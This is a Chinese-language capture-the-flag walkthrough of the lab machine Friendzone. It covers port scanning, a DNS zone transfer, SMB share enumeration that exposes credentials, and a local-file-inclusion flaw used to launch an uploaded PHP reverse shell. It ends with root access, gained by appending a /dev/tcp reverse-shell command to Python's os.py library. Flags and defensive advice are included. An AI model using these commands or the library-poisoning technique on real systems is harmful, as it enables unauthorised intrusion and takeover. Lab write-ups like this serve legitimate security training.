[Meachines] [Easy] Friendzone LFI+Python-OS库污染权限提升
字数 1278 2025-08-20 18:18:23
Friendzone LFI漏洞利用与Python OS库污染权限提升攻击分析
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行全端口扫描:
nmap -p- 10.10.10.123 --min-rate 1000 -sC -sV
发现开放服务:
- 21/tcp: vsftpd 3.0.3 (FTP)
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4
- 53/tcp: ISC BIND 9.11.3-1ubuntu1.2 (DNS)
- 80/tcp: Apache httpd 2.4.29
- 139/tcp: Samba smbd 3.X - 4.X
- 443/tcp: Apache httpd 2.4.29 (HTTPS)
- 445/tcp: Samba smbd 4.7.6-Ubuntu
1.2 DNS枚举
执行DNS区域传输:
dig axfr friendzone.red @10.10.10.123
发现子域名:
- administrator1.friendzone.red
- hr.friendzone.red
- uploads.friendzone.red
1.3 SMB枚举
使用enum4linux和smbclient枚举SMB共享:
enum4linux 10.10.10.123
smbclient //10.10.10.123/general
在general共享中发现creds.txt文件,获取凭据:
username: admin
password: WORKWORKHhallelujah@#
2. Web应用渗透
2.1 目录爆破
使用gobuster进行目录扫描:
gobuster dir -u "https://administrator1.friendzone.red" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50 -k
发现关键页面:
- /login.php
- /dashboard.php
2.2 登录尝试
使用之前获取的凭据登录:
https://administrator1.friendzone.red/login.php
username: admin
password: WORKWORKHhallelujah@#
2.3 LFI漏洞利用
发现dashboard.php存在本地文件包含(LFI)漏洞:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
3. 初始访问获取
3.1 上传Web Shell
通过SMB共享上传PHP反向Shell:
smbclient //10.10.10.123/Development
put php-reverse-shell.php
3.2 触发反向Shell
通过LFI漏洞触发上传的PHP反向Shell:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
4. 权限提升
4.1 内部侦察
获取user.txt标志:
ad2906258fb6679290609a6b243b6078
4.2 进程监控
上传并运行pspy32监控进程:
cp /etc/Development/pspy32 /tmp
chmod +x /tmp/pspy32
/tmp/pspy32
4.3 发现Python脚本
发现/opt/server_admin/reporter.py脚本定期以root权限执行:
# 内容可能包含对os模块的调用
4.4 Python库污染攻击
检查Python库位置:
ls -la /usr/lib/python2.7/os.py
修改os.py注入恶意代码:
echo 'system("/bin/bash -c \"/bin/sh -i >& /dev/tcp/10.10.16.6/10033 0>&1\"")' >> /usr/lib/python2.7/os.py
等待reporter.py以root权限执行,获取root shell。
4.5 获取root标志
253809a3fa48b78d59b7884199f37b35
5. 关键知识点总结
- DNS区域传输:通过dig axfr可尝试获取域内所有DNS记录
- SMB共享枚举:smbclient和enum4linux是枚举SMB共享的有效工具
- LFI漏洞利用:通过文件包含参数可以包含服务器上的任意文件
- SMB文件上传:通过SMB共享上传Web Shell是常见的初始访问方法
- Python库污染:当Python脚本以root权限运行时,污染其导入的库(如os.py)可实现权限提升
- 进程监控:pspy等工具可帮助发现以高权限运行的周期性任务
6. 防御建议
- 禁用DNS区域传输
- 限制SMB共享的匿名访问
- 对文件包含功能实施严格的白名单过滤
- 设置Python库文件的不可变标志(chattr +i)
- 使用最小权限原则运行计划任务和后台服务
- 定期审计系统上的setuid文件和可写目录